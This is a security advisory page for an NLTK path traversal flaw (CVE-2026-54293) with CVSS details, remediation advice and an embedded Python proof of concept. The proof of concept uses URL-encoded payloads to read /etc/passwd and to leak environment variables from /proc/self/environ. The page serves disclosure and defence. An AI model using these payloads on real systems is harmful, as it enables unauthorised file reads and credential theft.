CVE-2026-54293VulnerabilityPublished 13 Aug 2026Updated 29 Oct 2026

Acronym: Natural Language Toolkit (NLTK): URL-Encoded Path Traversal in nltk.data.load() Allows Arbitrary Local File

Affects acronymSource GCVE Database

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Not known to be exploited · CVSS 7.5 High : upgrade to 2.0.0_4 soon.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 2.0.0_4

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: None
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade acronym to 2.0.0_4.

Patches and advisories

access.redhat.com/errata/RHSA-2026:42644 (opens in a new tab)

Affected software

Product	Affected	Fixed in
Homebrewacronym`pkg:brew/acronym`Other threats	Affected >=2.0.0 <2.0.0_4	Fixed in 2.0.0_4

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. ### Affected Component nltk/data.py — find(), normalize_resource_url(), and the _UNSAFE_NO_PROTOCOL_RE regex check. Relevant occurrences: data.py L650–L653 — final path constructed from url2pathname(resource_name) after checks data.py L54–L69 — _UNSAFE_NO_PROTOCOL_RE operates only on the undecoded string data.py L219–L245 — normalize_resource_url() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input Root Cause The regex _UNSAFE_NO_PROTOCOL_RE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path. ### Proof of Concept ``` """ NLTK Arbitrary File Read via URL-Encoded Path Traversal ======================================================= Bypasses _UNSAFE_NO_PROTOCOL_RE security regex in nltk/data.py by URL-encoding path separators and traversal components. Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration) CWE: CWE-22 (Path Traversal) Root Cause: nltk/data.py:find() checks resource names against a regex for traversal patterns (../, leading /, etc.) BEFORE calling url2pathname() which decodes %xx sequences. This is a classic "decode-after-check" vulnerability. """ import sys import os import warnings # Suppress NLTK security warnings for clean PoC output warnings.filterwarnings("ignore", category=RuntimeWarning) # Setup sys.path.insert(0, os.path.join(os.path.dirname(__file__), "nltk")) os.makedirs(os.path.expanduser("~/nltk_data/corpora"), exist_ok=True) import nltk from nltk.pathsec import ENFORCE BANNER = """ =================================================== NLTK URL-Encoded Path Traversal PoC Affected: nltk <= 3.9.4 Default ENFORCE={enforce} =================================================== """.format(enforce=ENFORCE) def test_variant(name, payload, fmt="raw"): """Test a single traversal variant.""" try: content = nltk.data.load(payload, format=fmt) if isinstance(content, bytes): preview = content[:200].decode("utf-8", errors="replace") else: preview = content[:200] first_line = preview.split("\n")[0] print(f" [VULN] {name}") print(f" Payload: {payload}") print(f" Read OK: {first_line}") return True except Exception as e: print(f" [SAFE] {name}") print(f" Payload: {payload}") print(f" Blocked: {type(e).__name__}: {e}") return False def main(): print(BANNER) vulns = 0 # --- Variant 1: URL-encoded absolute path --- print("[1] URL-encoded absolute path (%2f = /)") if test_variant( "Encoded leading slash bypasses ^/ regex check", "nltk:%2fetc%2fpasswd", ): vulns += 1 print() # --- Variant 2: Encoded dot-dot traversal --- print("[2] URL-encoded dot-dot traversal (%2e = .)") if test_variant( "Encoded dots bypass \\.\\./ regex check", "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", ): vulns += 1 print() # --- Variant 3: Literal dots with encoded slash --- print("[3] Literal dots with encoded slash (..%2f)") if test_variant( "Encoded slash after literal .. bypasses \\.\\./ regex", "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", ): vulns += 1 print() # --- Variant 4: Read process environment (credential leak) --- print("[4] Read /proc/self/environ (credential leakage)") try: content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw") env_vars = content.decode("utf-8", errors="replace").split("\x00") print(f" [VULN] Leaked {len(env_vars)} environment variables") for var in env_vars[:3]: if var: key = var.split("=")[0] if "=" in var else var print(f" {key}=...") vulns += 1 except Exception as e: print(f" [SAFE] Blocked: {e}") print() # --- Control: verify normal traversal IS blocked --- print("[CONTROL] Verify literal ../ is blocked by regex") test_variant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd") print()

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